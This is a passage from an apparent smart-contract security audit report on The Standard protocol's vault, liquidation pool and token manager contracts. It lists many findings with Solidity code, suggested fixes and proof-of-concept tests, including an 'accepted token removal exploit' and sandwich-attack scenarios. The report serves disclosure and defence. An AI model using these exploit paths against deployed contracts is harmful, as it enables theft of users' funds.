Running 1 test for test/foundry/SmartVault.t.sol:SmartVaultV3Test
[FAIL. Reason: revert: err-under-coll] testCantRemoveCollateral() (gas: 3564386)
Logs:
Euro value of the collateral(without decimals to make it clear) 441158
Max Mintable Euro amount(without decimals to make it clear): 365971
Euro value to remove(without decimals to make it clear): 419100
Amount left(without decimals to make it clear): 22057
As we can see initially Alice deposits "441_158" euros worth of collateral.
With this much collateral Alice can mint "365_971" euro.
Alice only minted "1_000" euros
Alice wants to remove "419_100" euro worth of collateral.
After this removal there will be "22_057" worth of collateral will remain in the collateral.
And now let's run the second test with "forge test --match-test testMaxMintableAfterRemoval", output should look like this:
Running 1 test for test/foundry/SmartVault.t.sol:SmartVaultV3Test
[PASS] testMaxMintableAfterRemoval() (gas: 3355971)
Logs:
Max Mintable Euro amount(without decimals to make it clear): 18298
As we can see with this "22_057" worth of collateral, it is possible to mint "18_298" EUROs. But even when Alice minted only "1_000" euros, she can't remove her collateral because of the wrong check in canRemoveCollateral():
return currentMintable >= eurValueToRemove &&
minted <= currentMintable - eurValueToRemove;
In our scenario currentMintable = 365_971 and eurValueToRemove = 419_100. Hence first check in function will return false even when alice has enough collateral to hold her position. Also the second check will revert with underflow so the return value of this function is implemented wrong.
Impact is medium because users that are encountered this problem need to remove the protocol in order to get their collateral back. Likelihood is also medium, not all users will encounter this but some will. Hence this is a medium severity vulnerability.
Manual Review, Foundry Testing
Change the order of removing check, and change canRemoveCollateral() function. Instead of current implementation first remove the collateral (send it back to user), then in the same function check if user is liquid enough (health factor) check, if not, revert. Current removing pseudocode:
Suggested removing pseudocode:
Final canRemoveCollateral() function can look like this:
function isHealthyAfterRemoval():
if minted == 0, return true;
else:
uint256 currentMintable = maxMintable();
return minted <= currentMintable;
Submitted by mylifechangefast, greatlake, ZanyBonzy, kgothatso, Daniel526, 97Sabit, kodyvim, carrotsmuggler, IceBear, Silvermist, Timenov, batsanov, ke1caM, nuthan2x, iamandreiski, eeshenggoh, fakemonkgin, 0xAsen, aslanbek, 0xepley, 0xlemon, cartlex, mahdiRostami, 0xAraj, 0xRizwan, tsvetanovv, djxploit, DarkTower , Cryptor, carlitox477, PTolev, DenTonylifer, 0xGreyWolf, 0xrs, SAAJ, Bube, dyoff, Tripathi, OceanSky, sonny2k, devanas, 0xsandy, ni8mare, ddimitrov22, smbv1923, 0xhacksmithh, SanketKogekar, ro1sharkm, Jeffauditor. Selected submission by: greatlake.
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L214-#L231
SmartVaultV3#swap() function does not allow users to submit a deadline for their actions which execute swaps on Uniswap. This missing feature enables pending transactions to be maliciously executed at a later point.
SmartVaultV3#swap() function is using block.timestamp as deadline which can be exploited by a malicious miner.
function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
address inToken = getSwapAddressFor(_inToken);
uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
tokenIn: inToken,
tokenOut: getSwapAddressFor(_outToken),
fee: 3000,
recipient: address(this),
deadline: block.timestamp, // <----
amountIn: _amount - swapFee,
amountOutMinimum: minimumAmountOut,
sqrtPriceLimitX96: 0
});
inToken == ISmartVaultManagerV3(manager).weth() ?
executeNativeSwapAndFee(params, swapFee) :
executeERC20SwapAndFee(params, swapFee);
}
Swap can be maliciously executed later, user can face up with the loss when the value of token change. In the worst scenario, vault can be liquidated because of the swap.
Manual review.
User should be able to set the deadline.
Submitted by mylifechangefast, 0x6a70, ZanyBonzy, carrotsmuggler, Timenov, ke1caM, iamandreiski, 0xAsen, Bauer, Cosine, SovaSlava, rvierdiiev, IceBear, mahdiRostami, Bauchibred, touqeershah32, 0xRizwan, Cryptor, tsvetanovv, Lalanda, PTolev, NentoR, DarkTower , 0xrs, 0xBinChook, BjornBug, greatlake, ni8mare, Kose, smbv1923, Jeffauditor, inzinko, ro1sharkm. Selected submission by: mahdiRostami.
Fixed fee level is used when swap tokens on Uniswap.
In Fees SmartVaultV3::swap a fixed fee 3000 (0.3%) level is used:
function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
address inToken = getSwapAddressFor(_inToken);
uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
tokenIn: inToken,
tokenOut: getSwapAddressFor(_outToken),
@> fee: 3000, //@audit fixed fee
recipient: address(this),
deadline: block.timestamp,
amountIn: _amount - swapFee,
amountOutMinimum: minimumAmountOut,
sqrtPriceLimitX96: 0
});
inToken == ISmartVaultManagerV3(manager).weth() ?
executeNativeSwapAndFee(params, swapFee) :
executeERC20SwapAndFee(params, swapFee);
}
Usually, there are multiple Uniswap V3 pools available for a given token pair with different swap fees.
For instance, the optimal route to swap USDC for WETH is using the 0.05% (500) swap fee pool, which has significantly more liquidity than the 0.3% (3000) swap fee pool and thus less slippage.
Additionally, if the desired pool is not available, the swap will fail, or an attacker could exploit this by creating an imbalanced pool with the desired swap fee and stealing the tokens.
The Fees contract uses inefficient swaps, which leads to higher slippage (receiving less WETH) or failing swaps.
Manual review.
It is recommended to Passing fee level to SmartVaultV3::swap function as parameter:
+ function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount, uint24 _fee) external onlyOwner {
uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
address inToken = getSwapAddressFor(_inToken);
uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
tokenIn: inToken,
tokenOut: getSwapAddressFor(_outToken),
+ fee: _fee, //@audit
recipient: address(this),
deadline: block.timestamp,
amountIn: _amount - swapFee,
amountOutMinimum: minimumAmountOut,
sqrtPriceLimitX96: 0
});
inToken == ISmartVaultManagerV3(manager).weth() ?
executeNativeSwapAndFee(params, swapFee) :
executeERC20SwapAndFee(params, swapFee);
}
Submitted by kodyvim, haxatron, t0x1c, greatlake, Tricko. Selected submission by: t0x1c.
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L114
The protocol allows to create vaults and provide collateral for minting EUROs with no lower limit. As such, multiple low value vaults can exist. However, there is no incentive to liquidate low value vaults because of gas cost.
Liquidators liquidate users for the profit they can make. If there is no profit to be made than there will be no one to call the liquidate function. For example a vault could exist with a very low collateral value. This user is undercollateralized and must be liquidated in order to ensure that the protocol remains overcollateralized. If a liquidator wishes to liquidate this user, they will first need to stake some TST/EUROs which involves gas cost. Because the value of the collateral is so low, after gas costs, liquidators will not make a profit liquidating this user. In the end these low value vaults will never get liquidated, leaving the protocol with bad debt and can even cause the protocol to be undercollateralized with enough small value accounts being underwater.
See a similar issue raised in the past rated as high impact & high likelihood. It additionally highlights how this can become an attack vector (even by non-whales) on chains which aren't costly. The attack can be done by a malicious actor/group of actors who short the protocol and then open multiple such positions to attack the protocol.
Another description of the same issue.
Manual review
Submitted by y4y, 0x6a70, Alchmy0, Tigerfrake, Greed, dyoff, tutkata, BjornBug, 0xStriker. Selected submission by: 0x6a70.
The burn function in SmartVaultV3.sol has only ifMinted modifier , and it's external which means anyone can call it as the SmartVaults share a Euros contract.
A malicious user that already has minted EURs tokens can call the burn function of another SmartVault contract. He can cause the minted variable to be 0. This on the other hand will cause the requiredCollateralValue to equal zero in function calculateMinimumAmountOut(bytes32 _inTokenSymbol, bytes32 _outTokenSymbol, uint256 _amount). This on the other hand will cause the function to return 0.
function calculateMinimumAmountOut(bytes32 _inTokenSymbol, bytes32 _outTokenSymbol, uint256 _amount)
private
view
returns (uint256)
{
ISmartVaultManagerV3 _manager = ISmartVaultManagerV3(manager);
uint256 requiredCollateralValue = minted * _manager.collateralRate() / _manager.HUNDRED_PC();
uint256 collateralValueMinusSwapValue =
euroCollateral() - calculator.tokenToEur(getToken(_inTokenSymbol), _amount);
return collateralValueMinusSwapValue >= requiredCollateralValue
? 0
: calculator.eurToToken(getToken(_outTokenSymbol), requiredCollateralValue - collateralValueMinusSwapValue);
}
And now we get to swap function, where minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
Meaning minimumAmountOut = 0 which according to the UniswapDocs:
amountOutMinimum: we are setting to zero, but this is a significant risk in production. For a real deployment, this value should be calculated using our SDK or an onchain price oracle - this helps protect against getting an unusually bad price for a trade due to a front running sandwich or another type of price manipulation
Which will cause to loss of funds while swapping.
High as it can lead to loss of funds.
Manual review
Inctroduce onlyOwner modifier.
calculateMinimumAmountOut() may result in vaults transitioning into an uncollateralized state after executing swaps.Submitted by KupiaSec, carrotsmuggler, 0xCiphky, greatlake, khramov, Tripathi, Tricko, EVDocPhantom, Aamirusmani1552. Selected submission by: Tricko.
In the SmartVaultV3.calculateMinimumAmountOut() function, the variable collateralValueMinusSwapValue is computed using calculator.tokenToEur() instead of calculator.tokenToEurAvg(). This leads to inaccurate values for collateralValueMinusSwapValue when there are recent changes in the price of the swapped token. In extreme cases, this miscalculation can result in the SmartVaultV3.swap() function instantly placing the vault in an uncollaterized position after the swap.
Before any swap is done, the swap parameters need to be calculated on-chain, especially the minAmountOut parameter. This parameter is calculated in SmartVaultV3.calculateMinimumAmountOut(), as shown in the code snippet from calculateMinimumAmountOut() below.
function calculateMinimumAmountOut(bytes32 _inTokenSymbol, bytes32 _outTokenSymbol, uint256 _amount) private view returns (uint256) {
ISmartVaultManagerV3 _manager = ISmartVaultManagerV3(manager);
uint256 requiredCollateralValue = minted * _manager.collateralRate() / _manager.HUNDRED_PC();
uint256 collateralValueMinusSwapValue = euroCollateral() - calculator.tokenToEur(getToken(_inTokenSymbol), _amount);
return collateralValueMinusSwapValue >= requiredCollateralValue ?
0 : calculator.eurToToken(getToken(_outTokenSymbol), requiredCollateralValue - collateralValueMinusSwapValue);
}
As we can see, when collateralValueMinusSwapValue is calculated it gets the current vault collateral from euroCollateral().Internally, this function uses calculator.tokenToEurAvg() to fetch the value of collaterals. The method tokenToEurAvg() computes the average value of the specified token over the last four hours. However, immediately following this, euroCollateral() subtracts the result by calculator.tokenToEur, which instead utilizes the most recent value of the token, not the averaged one.
This mismatch from using tokenToEur instead of tokenToEurAvg() makes collateralValueMinusSwapValue susceptible to rapid price fluctuations. Consequently, under volatile market conditions, collateralValueMinusSwapValue might be overestimated or underestimated, depending on whether the token prices are rising or falling.
If tokenToEurAvg() > tokenToEur(), such as when the token price is falling, collateralValueMinusSwapValue will be overestimated. Conversely, if tokenToEurAvg() < tokenToEur(), such as when the price is increasing, collateralValueMinusSwapValue will be underestimated. This discrepancy can lead to issues; for instance, an overestimated collateralValueMinusSwapValue can result in a smaller minAmountOut calculated in SmartVaultV3.calculateMinimumAmountOut(). In extreme cases, this can cause the swap output to be less collateral than required, putting the vault in an uncollaterized state.
This is particularly problematic during situations when vault owners are more likely to perform swaps, such as swapping one collateral for another during periods of market volatility to shield themselves from declining asset values. In such cases, the difference between tokenToEurAvg() and tokenToEur() becomes more significant due to the rapid price fluctuations.
Consider the following example: If the price of WBTC has significantly decreased over the last few hours, a vault owner swaps their WBTC collateral to another asset to safeguard against undercollateralization in case the WBTC keeps falling. However, due to the recent fall in the WBTC price, tokenToEurAvg() > tokenToEur(), leading to an overestimated collateralValueMinusSwapValue. As a result, the minAmountOut calculated from the swap is reduced, making the vault less collateralized, contrary to the owner's intention of protecting the vault through the swap.
During volatile market conditions, collateralValueMinusSwapValue will be calculated incorrectly. In extreme cases, this can cause swaps to place the vault in an uncollaterized state.
Manual Review.
Consider using calculator.tokenToEurAvg instead of calculator.tokenToEur in SmartVaultV3.calculateMinimumAmountOut().
LiquidationPool::empty excludes holder with pending stakes when decreasing a position, resulting in exclusion from asset distributionSubmitted by 0x9527, nmirchev8, 0xMAKEOUTHILL, Cosine, rvierdiiev, Aamirusmani1552, JrNet, shikhar229169, 0xmuxyz, carlitox477, khramov, 0xAadhi, Tricko, ElHaj, EVDocPhantom, inzinko. Selected submission by: carlitox477.
If a holder has withdrawn from a previous consolidated position but still has pending stakes eligible for consolidation, they will not be included in the asset distribution. This is due to their prior exclusion from the LiquidationPool.holder array through LiquidationPool::deletePosition, given that the position will be considered as empty when position.TST == 0 && position.EUROs == 0.
Pending stakes that are consolidated during asset distribution will be excluded from rewards if there is no previous consolidated position due to a prior complete withdrawal, leading to wrong asset distribution when a liquidation occurs
LiquidationPool.pendingStake array.Lost of unclaimed yield
When decreasing a position, verify if there is a pending stake from the same holder. If there is, do not exclude the holder from holders array. This means:
function empty(Position memory _position) private pure returns (bool) {
if (_position.TST == 0 && _position.EUROs == 0){
address positionHolder = _position.holder;
uint256 pendingStakesLen = pendingStakes.length();
for(uint i; i < pendingStakesLen;){
if(pendingStakes[i].holder == positionHolder){
return false;
}
unchecked{ ++i};
}
return true;
}else{
return false;
}
}
Submitted by haxatron, Cosine, rvierdiiev, 0xAraj, 0xCiphky, KrisRenZo, carlitox477, khramov, bbl4de. Selected submission by: haxatron.
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L220
In order to maintain a peg, we must ensure that when a position is liquidated, we liquidate more than or equal to the amount of stablecoin that is borrowed.
Let us say Alice locks up 12000 EURO worth of collateral into her vault and borrows 10000 EURO, with a minimum collateralisation rate of 120%. For simplicity, we assume a single staker owns the entire LP containing 10000 EURO. Now, assume that Alice's collateral value locked falls to 11000 EURO due to rapid price action (but it is still above 100% collateralisation rate)
During liquidation, the amount of EURO to burn is computed in https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L220
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd) * _hundredPC / _collateralRate;
A high level explanation of this code is:
Asset Value in EURO * 100 / Collateral Rate
So computing the costInEuros we receive
11000 * 100 / 120 = 9166 EURO
Which results in 9166 EURO being burnt which is much lower than the 10000 EURO Alice borrowed. This can cause the EURO to depeg.
The fundamental assumption that is wrong here is that the developers have assumed that liquidation immediately occurs when the asset value falls below 120% collateralisation rate (or in the example above 12000 EURO, which results in the correct EURO to be burnt 12000 * 100 / 120 = 10000 EURO).
EURO depegging.
Manual Review
To calculate the cost of EUROs to be burned, use the amount of tokens minted for a particular position as opposed to the complex calculation above.
TokenManager leads to major issuesSubmitted by Cosine, 0xCiphky, 0xspryon, ElHaj, pontifex. Selected submission by: Cosine.
The TokenManager contract allows adding and removing assets from the list of accepted tokens. These are the assets which are allowed to be used inside the protocol. When any asset is removed from this list, a major issues occur, as well as a direct attack path to steal an arbitrary amount of EURO tokens.
The currently deployed TokenManager contract can be found here: https://arbiscan.io/address/0x33c5A816382760b6E5fb50d8854a61b3383a32a0#code
And as we can see here, it allows to remove assets from the list of accepted tokens:
contract TokenManager is ITokenManager, Ownable {
Token[] private acceptedTokens;
function getAcceptedTokens() external view returns (Token[] memory) {
return acceptedTokens;
}
function addAcceptedToken(address _token, address _chainlinkFeed) external onlyOwner {
...
acceptedTokens.push(Token(symbol, _token, token.decimals(), _chainlinkFeed, dataFeed.decimals()));
...
}
function removeAcceptedToken(bytes32 _symbol) external onlyOwner {
require(_symbol != NATIVE, "err-native-required");
for (uint256 i = 0; i < acceptedTokens.length; i++) {
if (acceptedTokens[i].symbol == _symbol) {
acceptedTokens[i] = acceptedTokens[acceptedTokens.length - 1];
acceptedTokens.pop();
emit TokenRemoved(_symbol);
}
}
}
}
The getAcceptedTokens function from the TokenManager contract is used in the liquidate function to get the list of collateral tokens to liquidate. Here we can see that the liquidate function updates the minted amount to 0, loops over all tokens inside the accepted tokens list and transfers them to the SmartVaultManager:
function liquidateERC20(IERC20 _token) private {
if (_token.balanceOf(address(this)) != 0) _token.safeTransfer(ISmartVaultManagerV3(manager).protocol(), _token.balanceOf(address(this)));
}
function liquidate() external onlyVaultManager {
require(undercollateralised(), "err-not-liquidatable");
liquidated = true;
minted = 0;
liquidateNative();
ITokenManager.Token[] memory tokens = getTokenManager().getAcceptedTokens();
for (uint256 i = 0; i < tokens.length; i++) {
if (tokens[i].symbol != NATIVE) liquidateERC20(IERC20(tokens[i].addr));
}
}
Now suppose the vault was collateralized with a token that was removed from this list. The vault will be instantly liquidateable as EUROs were borrowed but no collateral can be found in the vault. The minted variable is still set to 0, but collateral tokens stay inside this vault, as the token is not part of that for loop.
So the collateral stays in the vault, the minted amount is updated to 0 and the stakers / the protocol gets nothing. The borrower is now able to remove this collateral tokens out of the system by calling removeAsset, which will check if the collateral can be removed by calling canRemoveCollateral and this function will instantly respond with true as the minted amount was set to 0:
function removeAsset(address _tokenAddr, uint256 _amount, address _to) external onlyOwner {
ITokenManager.Token memory token = getTokenManager().getTokenIfExists(_tokenAddr);
if (token.addr == _tokenAddr) require(canRemoveCollateral(token, _amount), UNDER_COLL);
IERC20(_tokenAddr).safeTransfer(_to, _amount);
emit AssetRemoved(_tokenAddr, _amount, _to);
}
function canRemoveCollateral(ITokenManager.Token memory _token, uint256 _amount) private view returns (bool) {
if (minted == 0) return true;
uint256 currentMintable = maxMintable();
uint256 eurValueToRemove = calculator.tokenToEurAvg(_token, _amount);
return currentMintable >= eurValueToRemove &&
minted <= currentMintable - eurValueToRemove;
}
Therefore, the borrower keeps the borrowed EURO tokens, as well as the collateral tokens. An arbitrary amount of EURO tokens can be stolen with this attack path. Especially if the malicious actor would sandwich the call that removes any collateral token from that list, it would be possible to front run the call and take a big loan with this collateral token and back run it to liquidate the own loan and remove the collateral from the vault.
The following POC can be implemented in the smartVault test file and showcases how a malicious actor can exploit the removal of a token:
describe("accepted token removal exploit", async () => {
it("accepted token removal exploit", async () => {
// add token to the TokenManager
const Tether = await (
await ethers.getContractFactory("ERC20Mock")
).deploy("Tether", "USDT", 6);
const clUsdUsdPrice = 100000000;
const ClUsdUsd = await (
await ethers.getContractFactory("ChainlinkMock")
).deploy("USD / USD");
await ClUsdUsd.setPrice(clUsdUsdPrice);
await TokenManager.addAcceptedToken(Tether.address, ClUsdUsd.address);
// mint user 100 USDT
const borrowAmt = ethers.utils.parseEther("1");
const collateralAmt = BigNumber.from(100000000);
await Tether.mint(user.address, collateralAmt);
// ---------------- front run ----------------
// add collateral to the vault
await Tether.connect(user).transfer(Vault.address, collateralAmt);
// borrow EURO tokens
await Vault.connect(user).mint(user.address, borrowAmt);
// ---------------- token is removed from TokenManager ----------------
await TokenManager.removeAcceptedToken(
ethers.utils.formatBytes32String("USDT")
);
// ---------------- back run ----------------
// vault is liquidated
await VaultManager.connect(protocol).liquidateVault(1);
// remove collateral out of the vault
await Vault.connect(user).removeAsset(
Tether.address,
collateralAmt,
user.address
);
// attacker owns all the collateral tokens and the full borrowed amount
expect(await Tether.balanceOf(user.address)).to.equal(collateralAmt);
expect(await EUROs.balanceOf(user.address)).to.equal(borrowAmt);
});
});
Another problem with removing accepted tokens occurs in the LiquidationPool contract. Stakers can stake TST and EURO tokens to be able to buy collateral tokens for a discount with it. The bought collateral tokens are saved inside a mapping and can be claimed anytime by the staker with the claimRewards function:
function claimRewards() external {
ITokenManager.Token[] memory _tokens = ITokenManager(tokenManager).getAcceptedTokens();
for (uint256 i = 0; i < _tokens.length; i++) {
ITokenManager.Token memory _token = _tokens[i];
uint256 _rewardAmount = rewards[abi.encodePacked(msg.sender, _token.symbol)];
if (_rewardAmount > 0) {
delete rewards[abi.encodePacked(msg.sender, _token.symbol)];
if (_token.addr == address(0)) {
(bool _sent,) = payable(msg.sender).call{value: _rewardAmount}("");
require(_sent);
} else {
IERC20(_token.addr).transfer(msg.sender, _rewardAmount);
}
}
}
}
As we can see, this function also loops over the accepted tokens list. If there are unclaimed rewards and the token gets removed from the accepted tokens list, then all of these funds will be frozen in the contract and no longer claimable. As the staker already paid for these rewards with EURO tokens, funds were stolen from the staker.
LiquidationPool, but stakers already paid for them.There are multiple ways to fix this issue. This suggestion is not the most beautiful design choice, but it is one way to fix the issue by touching the current system logic as little as possible:
ifNotLiquidated modifier to the remove asset / collateral functionsminAmountOut from vault swaps, making they vulnerable to being sandwiched.Submitted by NentoR, ljj, Tricko. Selected submission by: Tricko.
The attacker has the ability to burn EURO tokens on other users' vaults, thereby decreasing the required collateral for those users. This manipulation can be exploited, particularly during swaps, where the calculation of minAmountOut is based on the required collateral. Consequently, attackers can take advantage of this EURO burn to diminish the target user's swap minAmountOut, enabling them to execute a sandwich attack and "steal" part of the collateral used in the swap.
Consider SmartVaultV3.burn() function, it allows any holder of EURO tokens to burn EURO tokens, reducing that vault minted value, even if they are not the owner of such vault. This reduction in minted also decreases the required collateral for the vault. The required collateral plays a crucial role in various vault methods, particularly the SmartVaultV3.swap() method. The calculated minAmountOut in the swap method is influenced by the difference between the vault collateral (after deducting tokens spent on the swap) and the required collateral to maintain the vault as overcollateralized.
If an attacker frontruns the vault's swap transaction and burns EURO tokens in that vault, the resulting minAmountOut will be smaller than intended by the vault owner. The attacker can exploit this situation to frontrun and sandwich the vault swap (SmartVaultV3.swap()) in a way that wouldn't be possible otherwise.
Consider both examples below. For simplification fees will be ignored, the price EURO and both accepted tokens (A and B) are $1 and the vault collateral ratio is set to 120%.
Normal vault swap Initial vault state (minted: 100, collateral: 120 token A ($120))
SmartVaultV3.swap(A, B, 10) to swap 10 token A for token B.As expected from the code logic, in order for the vault to maintain collaterization, the
minAmountOut calculated on-chain will be 10 token B.
Now consider the alternate scenario where attacker exploit the burn function.
Initial vault state ( minted: 100, collateral: 120 token A ($120))
SmartVaultV3.swap(A, B, 10) to swap 10 token A for token B.Intermediate vault state: minted: 90, collateral: 120 token A ($120)
Therefore, when the SmartVaultV3.swap(A, B, 10) transaction is executed, the on-chain calculated minAmountOut will be zero. This occurs because the required collateral ($108) is smaller than the collateral minus the swap amount ($110), opening up the possibility for this swap to be sandwiched.
It is important to note that due to the overcollateralization of the vaults (for instance, the collateralization ratio is set to 120% in the test suite), the collateral ratio will always be greater than 1. As a result, for every EURO burned, the reduction in minAmountOut is more substantial. This means that the reduction in the minAmountOut value exceeds the value spent to burn EURO, creating a potential for the sandwich attack to be profitable. Therefore an attacker can gain more value from the sandwich than the EURO tokens spent to decrease the target vault's collateral. However, the exact profit will depend on the Uniswap pool balances and how much the attacker can unbalance the pool during the sandwich.
By burning tokens on target users' vault, the attacker can reduce the minAmounOut from swaps, allowing them to sandwich and steal part of the collateral involved in the swap.
Manual Review
Consider allowing only the vault owner to burn EURO tokens.
Submitted by 0x9527, nmirchev8, SovaSlava, Cosine, Bauchibred, t0x1c, 0xCiphky, greatlake, 0xAraj, matej, Aamirusmani1552, flacko, n0kto, inzinko, Ciara and Gio. Selected submission by: matej.
Since accepted tokens list is prone to change, maybe even reduction, there is a flaw in the protocol design. Removal of accepted tokens as collateral leads to unintended liquidation of vaults.
When a user provides collateral to a vault, he expects it to remain there as collateral and the amount to stay safe, unless of course the vault is liquidated by a drop in value of collateral. However the vault can be liquidated by protocols' own doing by removing an asset from the TokenManager accepted tokens list.
It may seem that this is out-of-scope since it concerns the TokenManager contract but since the SmartVault HEAVILY relies on the acceptedTokens list, I believe it to be a legitimate issue on SmartVault contract.
User loses all of his funds in the vault since they are liquidated. Severity will be put as LOW since certain unlikely scenarios have to happen in order for this to happen.
Manual review
Implement emergency protocol feature to send back asset that is intended to be removed from TokenManager to vault owners.
costInEuros calculation will incur precision loss due to division before multiplicationSubmitted by ICP, InAllHonesty, Thembani, Daniel526, ravikiranweb3, ke1caM, Hajime, nuthan2x, eeshenggoh, fakemonkgin, t0x1c, ACai, Tigerfrake, naruto, datamcrypto, lian886, zigtur, kaysoft, Lalanda, Cryptor, Auditism, bhilare71, KrisRenZo, amar, Prabhas, developerjordy, KiteWeb3, Albahaca, SAAJ, Bube, 0xGreyWolf, 0xrs, n0kto, y0ng0p3, TumeloCrypto, dimulski, PTolev, 0xsandy, psb01, gkrastenov, ni8mare, djxploit, Aamirusmani1552, billoBaggeBilleyan, 1nc0gn170, slvDev, Ciara and Gio. Selected submission by: 0xGreyWolf.
In LiquidationPool::distributeAssets(), costInEuros calculation result will be rounded down due to division before multiplication.
Since exchange rates are involved, round downs will always occur. Here's code for quick reference.
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
These little losses will pile up in proportion the number of users and longevity of the contract.
Manual Review
Change the code to this such that multiplication is done first before division.
-- uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
-- * _hundredPC / _collateralRate;
++ uint256 costInEuros = (_portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) * _hundredPC) / (uint256(priceEurUsd) * _collateralRate);
or this
-- uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
-- * _hundredPC / _collateralRate;
++ uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) * _hundredPC / uint256(priceEurUsd) / _collateralRate;
Submitted by greatlake, t0x1c, carrotsmuggler, alexbabits, georgishishkov, asuiTouthang, mojitoauditor, 0xbtk, thankyou, Tricko, emrekocak, 0x996, DarkTower , 0xrs, PTolev, n0kto, Cryptor, EVDocPhantom, FalconHoof. Selected submission by: asuiTouthang.
To incentivize TST stakers in the LiquidationPool.sol contract there is a function distributeFees in the LiquidationPoolManager which distribute EUROs to the stakers.
If a user tries to frontrun this by quickly staking TST tokens and steal rewards this will not work since the only way to stake TST is by calling LiquidationPool::increasePosition which protects from frontrunnning by calling ILiquidationPoolManager(manager).distributeFees(); which will transfer all rewards before he could stake his TST tokens.
However an attacker can still exploit the rewards by frontrunning not the LiquidationPoolManager::distributeFees but the SmartVaultV3's mint or burn functions.
Lets imagine a scenario where:
mint function.
If we look at the mint function we see uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC(); which is actually sent to the LiquidationPoolManager which is the distributed EUROs to the stakers.
EUROs.mint(ISmartVaultManagerV3(manager).protocol(), fee);
protocol here is the LiquidationPoolManager contract. See: Contract requires the protocol address to be a payable address. This address will be set to the LiquidationPoolManager, which has a receive function from audit details.So the fees sent will be fee = 10000000 * 500 / 1e5 = 50,000 EUROs which is worth the attack though he can still do it with smaller amounts if he wants to. Or could even be greater amounts.
before this fees could be sent to the LiquidationPoolManager the attacker quickly frontruns the transaction by calling the LiquidationPool::increasePosition and stake a large amount of TST tokens which will be added to the pendingStakes.
now since he called LiquidationPool::increasePosition the current rewards will be distributed which still doesn't include the 50,000 EUROs from the whale.
After his transaction the mint transaction gets executed and there is currently new 50,000 EUROs in rewards from mint fees.
Attacker calls the LiquidationPoolManager::distributeFees after diluting the rewards of honest stakers and gets his share of EUROs rewards and unstake his tokens. An attacker may have to wait one day to unstake his TST tokens but this is not a problem for him because he gets back all his TST tokens + the EUROs rewards stolen.
He can sell his EUROs for and buy more TST tokens and repeat the attack with larger amount of TST tokens.
This is possible because we reward even the pending stakes and assume that rewards could not be mainpulated by frontrunning because we call ILiquidationPoolManager(manager).distributeFees(); everytime a stake is increased.
Loss of EUROs rewards for innocent stakers.
Instead of rewarding both the currently staked and the pendingStakes only reward the currently staked users so that we require atleast one day for stakers to recieve rewards and cannot be manipulated by frontrunning.
SmartVaultV3::mint, SmartVaultV3::burn, and SmartVaultV3::swap Can Result in Loss of FeesSubmitted by t0x1c, 0xSwahili, Cosine, dimulski, asuiTouthang, datamcrypto, Auditism, djxploit, Aitor, SaharAP, n0kto, SolSaver. Selected submission by: n0kto.
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L170
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L161
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L215
The absence of a minimum requirement check for _amount in SmartVaultV3::mint, SmartVaultV3::burn, and SmartVaultV3::swap allows a user to send a very small amount, effectively bypassing fees.
This could result in a loss of fees for the protocol. However, the likelihood of this scenario is low, given that an attacker would need to spend a significant amount of gas for multiple transactions, making it less impactful.
It's important to note that if any fees rate is decreased in the future, it could exacerbate the problem.
function testMintWeakAmountForNoFee() public {
vm.startPrank(vaultUser);
USDs.transfer(address(vault), 100e18);
// Loop to mint without fees
for (uint i; i < 20; i++) {
vault.mint(vaultUser, 18);
}
// Check the USDs balance of the manager
assertEq(EUROs.balanceOf(address(liquidationPoolManager)), 0);
vm.stopPrank();
}
function testBurnWeakAmountForNoFee() public {
vm.startPrank(vaultUser);
USDs.transfer(address(vault), 100e18);
vault.mint(vaultUser, 10e18);
// Loop to burn without fees
for (uint i; i < 20; i++) {
vault.burn(18);
}
// Check the USDs balance of the manager, removing minting fees
assertEq(EUROs.balanceOf(address(liquidationPoolManager)) - 5e16, 0);
vm.stopPrank();
}
Implement a minimum threshold check in SmartVaultV3::mint, SmartVaultV3::burn, and SmartVaultV3::swap. Example: require(_amount > 1e8).
Submitted by t0x1c.
LiquidationPoolManager::distributeFees() can be called by anyone to distribute the _feesForPool to the holders. However, this distribution happens only when \_feesForPool > 0. With the current poolFeePercentage at 50% (50000) and HUNDRED_PC at 100000, a Griefer can call distributeFees() whenever eurosToken.balanceOf(address(this)) = 1, not allowing it to accumulate it to a higher value:
